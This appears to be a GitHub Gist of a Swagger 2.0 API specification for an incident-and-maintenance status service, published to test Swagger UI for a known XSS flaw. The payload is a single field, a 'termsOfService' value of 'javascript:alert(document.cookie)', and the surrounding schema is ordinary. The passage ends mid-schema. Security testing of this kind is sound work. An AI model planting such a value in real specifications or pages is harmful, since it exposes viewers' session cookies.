Last active
June 19, 2020 20:47
-
-
Save parzel/fb8b8d5fe43a8489e9f8867bc4c12bb4 to your computer and use it in GitHub Desktop.
This can be used to test for Swagger UI that is still vulnerable to a XSS attack (https://github.com/swagger-api/swagger-ui/issues/3847)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"swagger": "2.0", | |
"info": { | |
"title": "Swagger Sample App", | |
"description": "Please to click Terms of service", | |
"termsOfService": "javascript:alert(document.cookie)", | |
"version": "1.0.1" | |
}, | |
"basePath": "/v1", | |
"schemes": [ | |
"https", | |
"https" | |
], | |
"consumes": [ | |
"application/json" | |
], | |
"produces": [ | |
"application/json" | |
], | |
"paths": { | |
"/localizations": { | |
"x-swagger-router-controller": "localization", | |
"x-sequelize-model": "Localization", | |
"get": { | |
"tags": [ | |
"translation" | |
], | |
"description": "Returns object of localized text", | |
"operationId": "getLocalizations", | |
"parameters": [ | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"modelName", | |
"modelKey", | |
"modelAttribute" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"modelName": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"modelKey": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"modelAttribute": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"LocalizedTexts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"text": { | |
"type": "string" | |
}, | |
"code": { | |
"type": "string", | |
"maxLength": 10 | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/incidents": { | |
"x-swagger-router-controller": "incident", | |
"x-sequelize-model": "Incident", | |
"get": { | |
"tags": [ | |
"incidents" | |
], | |
"description": "Returns an array of Incident objects. Defaults to last 30 days.", | |
"operationId": "getIncidents", | |
"parameters": [ | |
{ | |
"name": "startTime", | |
"in": "query", | |
"description": "Start time for Incidents to return (ISO 8601)", | |
"required": false, | |
"type": "string", | |
"format": "date" | |
}, | |
{ | |
"name": "service", | |
"in": "query", | |
"description": "Filter by impacted Services (case insensitive)", | |
"required": false, | |
"type": "string" | |
}, | |
{ | |
"name": "instance", | |
"in": "query", | |
"description": "Filter by impacted Instances (case insensitive)", | |
"required": false, | |
"type": "string" | |
}, | |
{ | |
"name": "limit", | |
"in": "query", | |
"description": "Limit for pagination", | |
"required": false, | |
"type": "number", | |
"default": 10000, | |
"maximum": 10000 | |
}, | |
{ | |
"name": "offset", | |
"in": "query", | |
"description": "Offset for pagination", | |
"required": false, | |
"type": "number", | |
"default": 0 | |
}, | |
{ | |
"name": "sort", | |
"in": "query", | |
"type": "string", | |
"description": "Sort by property", | |
"required": false | |
}, | |
{ | |
"name": "order", | |
"in": "query", | |
"type": "string", | |
"description": "Ordering of property", | |
"required": false | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"id" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"IncidentImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"startTime", | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceIssue": { | |
"type": "string" | |
}, | |
"endUserImpact": { | |
"type": "string" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"IncidentEvents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"message": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/incidents/{id}": { | |
"x-swagger-router-controller": "incident", | |
"x-sequelize-model": "Incident", | |
"get": { | |
"tags": [ | |
"incidents" | |
], | |
"description": "Returns an Incident based on Id.", | |
"operationId": "getIncidentById", | |
"parameters": [ | |
{ | |
"name": "id", | |
"in": "path", | |
"type": "string", | |
"description": "Incident id", | |
"required": true | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"description": "Two-letter language code (ISO 639-1) ", | |
"required": false, | |
"type": "string" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "object", | |
"required": [ | |
"id" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"IncidentImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"startTime", | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceIssue": { | |
"type": "string" | |
}, | |
"endUserImpact": { | |
"type": "string" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"IncidentEvents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"message": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"404": { | |
"description": "Incident not found", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"message": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/incidents/fields": { | |
"x-swagger-router-controller": "incidentField", | |
"x-sequelize-model": "Field", | |
"get": { | |
"tags": [ | |
"incidents" | |
], | |
"description": "Returns an array of Incident fields.", | |
"operationId": "getIncidentFields", | |
"parameters": [ | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"attribute" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"attribute": { | |
"type": "string" | |
}, | |
"FieldOptions": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"key": { | |
"type": "string" | |
}, | |
"visible": { | |
"type": "boolean", | |
"default": true | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/incidents/impactTypes": { | |
"x-swagger-router-controller": "incidentImpactType", | |
"x-sequelize-model": "IncidentImpactType", | |
"get": { | |
"tags": [ | |
"incidents" | |
], | |
"description": "Returns an array of incident imapct type fields.", | |
"operationId": "getIncidentImpactTypes", | |
"parameters": [ | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"key": { | |
"type": "string" | |
}, | |
"severity": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/incidents/eventTypes": { | |
"x-swagger-router-controller": "incidentEventType", | |
"x-sequelize-model": "IncidentEventType", | |
"get": { | |
"tags": [ | |
"incidents" | |
], | |
"description": "Returns an array of incident imapct type fields.", | |
"operationId": "getIncidentEventTypes", | |
"parameters": [ | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"key": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/maintenances": { | |
"x-swagger-router-controller": "maintenance", | |
"x-sequelize-model": "Maintenance", | |
"get": { | |
"tags": [ | |
"maintenances" | |
], | |
"description": "Returns an array of Maintenance objects. Defaults to last 30 days.", | |
"operationId": "getMaintenances", | |
"parameters": [ | |
{ | |
"name": "startTime", | |
"in": "query", | |
"description": "Start time for Maintenance to return (ISO 8601)", | |
"required": false, | |
"type": "string", | |
"format": "date" | |
}, | |
{ | |
"name": "service", | |
"in": "query", | |
"description": "Filter by impacted Services (case insensitive)", | |
"required": false, | |
"type": "string" | |
}, | |
{ | |
"name": "instance", | |
"in": "query", | |
"description": "Filter by impacted Instances (case insensitive)", | |
"required": false, | |
"type": "string" | |
}, | |
{ | |
"name": "name", | |
"in": "query", | |
"type": "string", | |
"description": "Filter by Name (case insensitive)", | |
"required": false | |
}, | |
{ | |
"name": "limit", | |
"in": "query", | |
"description": "Limit for pagination", | |
"required": false, | |
"type": "number", | |
"default": 10000, | |
"maximum": 10000 | |
}, | |
{ | |
"name": "offset", | |
"in": "query", | |
"description": "Offset for pagination", | |
"required": false, | |
"type": "number", | |
"default": 0 | |
}, | |
{ | |
"name": "sort", | |
"in": "query", | |
"type": "string", | |
"description": "Sort by property", | |
"required": false | |
}, | |
{ | |
"name": "order", | |
"in": "query", | |
"type": "string", | |
"description": "Ordering of property", | |
"required": false | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"name": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"plannedStartTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"plannedEndTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"MaintenanceImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"systemAvailability": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/maintenances/{id}": { | |
"x-swagger-router-controller": "maintenance", | |
"x-sequelize-model": "Maintenance", | |
"get": { | |
"tags": [ | |
"maintenances" | |
], | |
"description": "Returns a Maintenance based on Id.", | |
"operationId": "getMaintenanceById", | |
"parameters": [ | |
{ | |
"name": "id", | |
"in": "path", | |
"type": "string", | |
"description": "Maintenance id", | |
"required": true | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"description": "Two-letter language code (ISO 639-1) ", | |
"required": false, | |
"type": "string" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"name": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"plannedStartTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"plannedEndTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"MaintenanceImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"systemAvailability": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"404": { | |
"description": "Maintenance not found", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"message": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/maintenances/fields": { | |
"x-swagger-router-controller": "maintenanceField", | |
"x-sequelize-model": "Field", | |
"get": { | |
"tags": [ | |
"maintenances" | |
], | |
"description": "Returns an array of Maintenance fields.", | |
"operationId": "getMaintenanceFields", | |
"parameters": [ | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"attribute" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"attribute": { | |
"type": "string" | |
}, | |
"FieldOptions": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"key": { | |
"type": "string" | |
}, | |
"visible": { | |
"type": "boolean", | |
"default": true | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/maintenances/eventTypes": { | |
"x-swagger-router-controller": "maintenanceEventType", | |
"x-sequelize-model": "MaintenanceEventType", | |
"get": { | |
"tags": [ | |
"maintenances" | |
], | |
"description": "Returns an array of maintenance imapct type fields.", | |
"operationId": "getMaintenanceEventTypes", | |
"parameters": [ | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"key": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/generalMessages": { | |
"x-swagger-router-controller": "generalMessage", | |
"x-sequelize-model": "GeneralMessage", | |
"get": { | |
"tags": [ | |
"generalMessage" | |
], | |
"description": "Returns an array of GeneralMessage objects.", | |
"operationId": "getGeneralMessages", | |
"parameters": [ | |
{ | |
"name": "limit", | |
"in": "query", | |
"description": "Limit for pagination", | |
"required": false, | |
"type": "number", | |
"default": 10000, | |
"maximum": 10000 | |
}, | |
{ | |
"name": "offset", | |
"in": "query", | |
"description": "Offset for pagination", | |
"required": false, | |
"type": "number", | |
"default": 0 | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"subject": { | |
"type": "string" | |
}, | |
"body": { | |
"type": "string" | |
}, | |
"startDate": { | |
"type": "string" | |
}, | |
"endDate": { | |
"type": [ | |
"string", | |
"null" | |
] | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/generalMessages/{id}": { | |
"x-swagger-router-controller": "generalMessage", | |
"x-sequelize-model": "GeneralMessage", | |
"get": { | |
"tags": [ | |
"generalMessage" | |
], | |
"description": "Returns a GeneralMessage based on Id.", | |
"operationId": "getGeneralMessageById", | |
"parameters": [ | |
{ | |
"name": "id", | |
"in": "path", | |
"type": "string", | |
"description": "GeneralMessage id", | |
"required": true | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"subject": { | |
"type": "string" | |
}, | |
"body": { | |
"type": "string" | |
}, | |
"startDate": { | |
"type": "string" | |
}, | |
"endDate": { | |
"type": [ | |
"string", | |
"null" | |
] | |
} | |
} | |
} | |
}, | |
"404": { | |
"description": "GeneralMessage not found", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"message": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/metricValues": { | |
"x-swagger-router-controller": "metricValue", | |
"x-sequelize-model": "MetricValue", | |
"get": { | |
"tags": [ | |
"metricValue" | |
], | |
"description": "Returns an array of MetricValue objects.", | |
"operationId": "getMetricValue", | |
"parameters": [ | |
{ | |
"name": "startTime", | |
"in": "query", | |
"description": "Start time for metricValue", | |
"required": false, | |
"type": "string", | |
"format": "date" | |
}, | |
{ | |
"name": "endTime", | |
"in": "query", | |
"description": "End time for metricValue", | |
"required": false, | |
"type": "string", | |
"format": "date" | |
}, | |
{ | |
"name": "metricName", | |
"in": "query", | |
"description": "Filter by Name of Metric", | |
"required": false, | |
"type": "string" | |
}, | |
{ | |
"name": "instanceKey", | |
"in": "query", | |
"description": "Filter by Instances", | |
"required": false, | |
"type": "string" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"metricValueName": { | |
"type": "string" | |
}, | |
"value": { | |
"type": "number", | |
"format": "double" | |
}, | |
"timestamp": { | |
"type": "string" | |
}, | |
"instanceKey": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/metricValues/{id}": { | |
"x-swagger-router-controller": "metricValue", | |
"x-sequelize-model": "MetricValue", | |
"get": { | |
"tags": [ | |
"metricValue" | |
], | |
"description": "Returns a MetricValue based on Id.", | |
"operationId": "getMetricValueById", | |
"parameters": [ | |
{ | |
"name": "id", | |
"in": "path", | |
"type": "string", | |
"description": "MetricValue Id", | |
"required": true | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"metricValueName": { | |
"type": "string" | |
}, | |
"value": { | |
"type": "number", | |
"format": "double" | |
}, | |
"timestamp": { | |
"type": "string" | |
}, | |
"instanceKey": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"404": { | |
"description": "MetricValue not found", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"message": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/locales": { | |
"x-swagger-router-controller": "locale", | |
"x-sequelize-model": "Locale", | |
"get": { | |
"tags": [ | |
"locales" | |
], | |
"description": "Return all locales", | |
"operationId": "getLocales", | |
"parameters": [ | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"name", | |
"code" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"name": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"code": { | |
"type": "string", | |
"maxLength": 255 | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/services": { | |
"x-swagger-router-controller": "service", | |
"x-sequelize-model": "Service", | |
"get": { | |
"tags": [ | |
"services" | |
], | |
"description": "Return all locales", | |
"operationId": "getServices", | |
"parameters": [ | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"key": { | |
"type": "string", | |
"maxLength": 4098 | |
}, | |
"order": { | |
"type": [ | |
"integer", | |
"null" | |
], | |
"description": "Order Displayed on the status Timeline." | |
}, | |
"isCore": { | |
"type": "boolean", | |
"description": "Sets if service is a \"core service\" or not." | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/instances": { | |
"x-swagger-router-controller": "instance", | |
"x-sequelize-model": "Instance", | |
"get": { | |
"tags": [ | |
"instances" | |
], | |
"description": "Return all locales", | |
"operationId": "getInstances", | |
"parameters": [ | |
{ | |
"name": "sort", | |
"in": "query", | |
"type": "string", | |
"description": "Sort by property", | |
"required": false | |
}, | |
{ | |
"name": "order", | |
"in": "query", | |
"type": "string", | |
"description": "Ordering of property", | |
"required": false | |
}, | |
{ | |
"name": "productId", | |
"in": "query", | |
"type": "integer", | |
"description": "Filter by parent product", | |
"required": false | |
}, | |
{ | |
"name": "childProducts", | |
"in": "query", | |
"type": "boolean", | |
"description": "Include nested products. productId must be set.", | |
"default": false, | |
"required": false | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"key" | |
], | |
"properties": { | |
"key": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"location": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"environment": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseVersion": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseNumber": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"isActive": { | |
"type": "boolean" | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/instances/status": { | |
"x-swagger-router-controller": "instance", | |
"x-sequelize-model": "Instance", | |
"get": { | |
"tags": [ | |
"instances" | |
], | |
"description": "DEPRECATED WARNING ROUTE WILL BE REMOVED\nUse /instance/status/preview for overall current status and\ncurrently ongoing incidents, maintenances, and general messages.\nUse /instances/{key}/status for current status and recent\nhistory of incidents, maintenances, and general messages for\nsepcific instance\n\nReturn all instances and associated incidents\n", | |
"operationId": "getInstanceStatuses", | |
"parameters": [ | |
{ | |
"name": "productId", | |
"in": "query", | |
"type": "integer", | |
"description": "Filter by parent product", | |
"required": false | |
}, | |
{ | |
"name": "childProducts", | |
"in": "query", | |
"type": "boolean", | |
"description": "Include nested products. productId must be set.", | |
"default": false, | |
"required": false | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"key" | |
], | |
"properties": { | |
"key": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"location": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"environment": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseVersion": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseNumber": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"status": { | |
"type": "string", | |
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.", | |
"maxLength": 255, | |
"enum": [ | |
"OK", | |
"MAJOR_INCIDENT_CORE", | |
"MINOR_INCIDENT_CORE", | |
"MAINTENANCE_CORE", | |
"INFORMATIONAL_CORE", | |
"MAJOR_INCIDENT_NONCORE", | |
"MINOR_INCIDENT_NONCORE", | |
"MAINTENANCE_NONCORE", | |
"INFORMATIONAL_NONCORE" | |
] | |
}, | |
"Incidents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"id" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"IncidentImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"startTime", | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceIssue": { | |
"type": "string" | |
}, | |
"endUserImpact": { | |
"type": "string" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"IncidentEvents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"message": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"Maintenances": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"name": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"plannedStartTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"plannedEndTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
